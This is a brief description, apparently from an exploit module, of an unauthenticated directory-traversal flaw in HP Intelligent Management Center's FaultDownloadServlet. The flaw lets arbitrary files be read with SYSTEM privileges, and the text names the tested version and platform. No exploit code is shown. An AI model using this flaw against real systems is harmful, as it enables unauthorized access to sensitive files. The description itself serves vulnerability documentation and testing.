          This module exploits a lack of authentication and a directory traversal in HP
        Intelligent Management, specifically in the FaultDownloadServlet, in order to
        retrieve arbitrary files with SYSTEM privileges. This module has been tested
        successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.
